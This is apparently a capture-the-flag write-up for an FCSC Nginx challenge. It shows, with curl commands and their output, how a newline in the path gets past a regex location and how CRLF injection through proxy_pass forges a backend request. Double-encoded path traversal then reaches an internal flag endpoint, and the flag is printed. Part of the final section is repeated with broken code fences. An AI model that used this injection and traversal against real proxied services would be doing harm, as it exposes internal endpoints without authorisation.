### Overview The challenge is about bypassing and Nginx configuration to obtain the flag. Dockerfile is defined in the following code: ``` FROM nginx:1.23.3-alpine COPY src/nginx.conf /etc/nginx/nginx.conf ARG FLAG RUN echo "set \$flag \"${FLAG}\";" > /etc/nginx/flags.conf EXPOSE 80 CMD ["nginx", "-g", "daemon off;"] ``` I should be noted that the current version of Nginx is *1.24.0*, and not *1.23.3*. So I attempted to find any vulnerabilities that might exist between these version. But nothing is useful but let's notice inside nginx.conf cotains two **server** blocks but only the port 80 is accessible(mapped on 8000) ``` upstream @deeper { server 127.0.0.1:8082; } server { listen 80; server_name _; location ~* ^(.*)$ { return 200 "I'm late! I'm late! For a very important date!"; } location / { return 200 "Oh dear, oh dear! I shall be too late!"; } location /deeper { proxy_pass http://@deeper$uri$is_args$args; } } server { listen 8082; server_name deeper; include flags.conf; location /deeper { add_header X-Original-Path "$uri"; add_trailer X-Trailer "Coming to a nginx close to you" ; return 200 "No time to say hello, goodbye! I'm late! I'm late! I'm late!"; } location /deepest { return 200 "$flag"; } } ``` ##### Summarize: ``` Exposed server - 0.0.0.0:80 : Regex ~* ^(.*)$ => "I'm late! I'm late! For a very important date!" Match / => "Oh dear, oh dear! I shall be too late!" Match /deeper => proxy_pass http://@deeper$uri$is_args$args; Internal server - @deeper Match /deeper => "No time to say hello, goodbye! I'm late! I'm late! I'm late!" Match /deepest => "$flag" ``` This challenge involves two steps. The first is to bypass the regex on the exposed server to reach the ```/deeper``` location. Consequently, our HTTP request will be fowarded to the internal server. The second steps involves directing the same HTTP request towards the ```/deepest``` location of the internal server. #### 0x01: location ~* ^(.*)$ On the nginx documentation about the location directivee, we can see that the matching is done after URL decoding. So if we insert a new line (%0A) in the path of our request, we can bypass regex ``` # into regex $ curl 'http://localhost:9001/whatever' I'm late! I'm late! For a very important date! # into regex $ curl 'http://localhost:9001/%0a' I'm late! I'm late! For a very important date! # location / $ curl 'http://localhost:9001/%0a/' Oh dear, oh dear! I shall be too late! ``` As you can see above, we reach the location / ! Now let’s try to reach the ```/deeper``` location. #### 0x02: proxy_pass ``` # Simple try $ curl 'http://localhost:9001/deeper/%0A' I'm late! I'm late! For a very important date! # Malformed HTTP request $ curl 'http://localhost:90001/deeper/%0A%0D' curl: (1) Received HTTP/0.9 when not allowed # location /deeper - Fix the HTTP request $ curl 'http://localhost:9001/deeper/%20HTTP/1.1%0d%0aFake-Header:xyz' No time to say hello, goodbye! I'm late! I'm late! I'm late! ``` How it works ? The $uri variable is URL decode before sending the request to the internal server. - $uri: current URI in request, normalized (decoding the text encoded in the “%XX” form). To do some debuging, we can edit the nginx configuration to send the proxy pass to a netcat server to see the HTTP request in plaintext ``` # Malformed request $ curl 'http://localhost:9001/deeper/%0A%0D' GET /deeper/ HTTP/1.0 # <--- Notice the new line here Host: 127.0.0.1:8081 Connection: close User-Agent: curl/8.0.1 Accept: */* # Fix the HTTP request by adding a fake header $ curl 'http://localhost:9001/deeper/%20HTTP/1.1%0d%0aFake-Header:xyz' GET /deeper/ HTTP/1.1 Fake-Header:xyz HTTP/1.0 Host: 127.0.0.1:8081 Connection: close User-Agent: curl/8.0.1 Accept: */* ``` We successfully forged a valid HTTP request by adding a fake header #### 0x03: normalized URI ``` So, our last goal is to reach the /deepest location. To do that we need to use double URL encoding to match the /deeper location of the first server and the location /deepest of the second server. Server #1 location /deeper: /deeper/%252E%252E%252Fdeepest ($uri normalized) Server #2 location /deeper: /deeper/%2E%2E%2Fdeepest -> /deeper/../deepest -> /deepest (location normalized ```So, our last goal is to reach the /deepest location. To do that we need to use double URL encoding to match the /deeper location of the first server and the location /deepest of the second server. Server #1 location /deeper: /deeper/%252E%252E%252Fdeepest ($uri normalized) Server #2 location /deeper: /deeper/%2E%2E%2Fdeepest -> /deeper/../deepest -> /deepest (location normalized ``` We can now obtain the flag !!! ``` $ export HOST='https://follow-the-rabbit.france-cybersecurity-challenge.fr' $ curl "$HOST/deeper/%252E%252E%252Fdeepest%20HTTP/1.1%0d%0AFake-Header:xyz" FCSC{429706b083581875b3af87c239f3d42a44d39e63991c4a2a3f63cde5d86b1b23} ```